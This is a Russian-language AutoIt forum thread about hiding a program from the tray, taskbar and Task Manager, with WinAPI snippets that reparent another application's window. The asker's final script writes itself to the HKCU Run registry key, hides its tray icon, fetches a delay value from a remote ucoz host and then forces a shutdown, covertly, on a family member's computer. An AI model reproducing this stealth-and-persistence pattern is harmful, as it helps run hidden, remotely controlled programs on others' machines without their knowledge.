Что нового

[Данные, строки] Как заставить программу работать на уровне процесса

Roman89

Новичок
Сообщения
107
Репутация
3
Всем доброго времени суток!
У меня тут назрел вопрос:
Что надо прописать для того что бы программа работала на уровне процесса! (Это реально)
Тойсть не показывалось в tray, меню пуск (панель задач), и в диспетчере задач (что бы было видно только в процессах а не в приложениях)
 

zlo-kazan

Скриптер
Сообщения
374
Репутация
100
1-е в начале кода
Код:
#NoTrayIcon

и 2-е если есть GUI, то
Код:
GUISetState(@SW_HIDE)
 

Yashied

Модератор
Команда форума
Глобальный модератор
Сообщения
5,379
Репутация
2,724
Roman89 сказал(а):
Тойсть не показывалось в tray, меню пуск (панель задач), и в диспетчере задач (что бы было видно только в процессах а не в приложениях)

И зачем это тебе понадобилось?
 

VladUs

Скриптер
Сообщения
621
Репутация
181
Вот пример на основе из библиотеки http://autoit-script.ru/index.php?topic=47.0
Код позволяет скрыть окно приложения (чужего либо своего) из панели задач, трея, и из диспетчера задач (вкладка приложения).
В примере применяются вышеперечисленные параметры к окну программы калькулятор (calc.exe)

Код:
#Include <WinAPIEx.au3>
#Include <Constants.au3>
#NoTrayIcon

Global Const $sClass = 'MyWindowClass'
Global Const $sName = 'MyProg'
Global $tWCEX, $tClass,  $hProc, $hInstance,  $Exit = False
Const $CS_HREDRAW = 0x00000002
Const $CS_VREDRAW = 0x00000001

Run("Calc.Exe")
$hwndnot =WinWaitActive("Калькулятор Плюс")

$hProc = DllCallbackRegister('_WndProc', 'lresult', 'hwnd;uint;wparam;lparam')

$tWCEX = DllStructCreate($tagWNDCLASSEX)
$tClass = DllStructCreate('wchar[' & StringLen($sClass) + 1 & ']')
DllStructSetData($tClass, 1, $sClass)
DllStructSetData($tWCEX, 'Size', DllStructGetSize($tWCEX))
DllStructSetData($tWCEX, 'Style', BitOR($CS_HREDRAW,$CS_VREDRAW))
DllStructSetData($tWCEX, 'hWndProc', DllCallbackGetPtr($hProc))
DllStructSetData($tWCEX, 'ClsExtra', 0)
DllStructSetData($tWCEX, 'WndExtra', 0)
DllStructSetData($tWCEX, 'hInstance', $hInstance)
DllStructSetData($tWCEX, 'hIcon', 0)
DllStructSetData($tWCEX, 'hCursor', 0)
DllStructSetData($tWCEX, 'hBackground', 0)
DllStructSetData($tWCEX, 'MenuName', 0)
DllStructSetData($tWCEX, 'ClassName', DllStructGetPtr($tClass))
DllStructSetData($tWCEX, 'hIconSm', 0)

_WinAPI_RegisterClassEx($tWCEX)
$hWndParent = _WinAPI_CreateWindowEx(0, $sClass, $sName, BitOR($WS_THICKFRAME, $WS_BORDER, $WS_EX_TOOLWINDOW), (@DesktopWidth + 100) , (@DesktopHeight + 100) , 0, 0, 0)
_WinAPI_SetWindowLong($hwndnot, $GWL_HWNDPARENT, $hWndParent)

While 1
    Sleep(100)
    If $Exit Then
        ExitLoop
    ElseIf Not ProcessExists ("Calc.Exe")  Then
        Exit
    EndIf
WEnd

Func _WinAPI_DefWindowProcW($hWnd, $iMsg, $wParam, $lParam)

    Local $Ret = DllCall('user32.dll', 'lresult', 'DefWindowProcW', 'hwnd', $hWnd, 'uint', $iMsg, 'wparam', $wParam, 'lparam', $lParam)

    If @error Then
        Return SetError(1, 0, 0)
    EndIf
    Return $Ret[0]
EndFunc   

Func _WndProc($hWnd, $iMsg, $wParam, $lParam)
    Switch $iMsg
        Case $WM_CLOSE
            $Exit = 1
    EndSwitch
    Return _WinAPI_DefWindowProcW($hWnd, $iMsg, $wParam, $lParam)
EndFunc
 

Yashied

Модератор
Команда форума
Глобальный модератор
Сообщения
5,379
Репутация
2,724
VladUs

Из трея не убирает. По ALT+TAB виден. Исчезает только из панели задач. А вообще, все это можно записать в одну строчку:

Код:
_WinAPI_SetWindowLong(WinGetHandle('Calculator'), $GWL_HWNDPARENT, WinGetHandle('Program Manager'))


:smile:

P.S

Для того, чтобы дочернее окно было не видно в панели задач, нужно, чтобы родительское окно было скрыто. Чтобы убрать дочернее окно из ALT-TAB, достаточно назначить родительскому окну стиль WS_EX_TOOLWINDOW. Прибить иконку в трее можно на основе SysTray UDF. Из диспечера задач никак.
 
Автор
R

Roman89

Новичок
Сообщения
107
Репутация
3
Всем спс!
Но мне подошла самая простоя функция
Код:
#NoTrayIcon

Посмотрите мой скрипт:
Код:
#NoTrayIcon

$sName = '1.exe'
$sRegRun = 'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
If RegRead($sRegRun, @ScriptName) = '' Or RegRead($sRegRun, @ScriptName) <> @ScriptFullPath Then
    RegWrite($sRegRun, @ScriptName, "REG_SZ", @ScriptFullPath)
EndIf
;...

Inetget("http://kplgjsokgjsg.ucoz.ru/1.ini","Taim.ini")
$Time=IniRead("Taim.ini","Options","1","")
sleep($time)
Shutdown(1)

Программу видно только в процессах!
Она не дает играть моему малому без моего ведома=)
Всем спс за ответы!
 

VladUs

Скриптер
Сообщения
621
Репутация
181
Yashied [?]
А вообще, все это можно записать в одну строчку:
Действительно хорошо у Вас получилась...
Моя задумка была создать родителя окна за пределами десктопа, поставить ему стиль $WS_EX_TOOLWINDOW, поставить необходимому окну этого родителя.
А в результате оказалось, что достаточно поставить атрибуты окна процессса explorer.exe :thanks:
А вот насчет трея я погорячился.
А почему Вы говорите, что в диспетчере задач "никак" ? Не понял этот момент.
 
Верх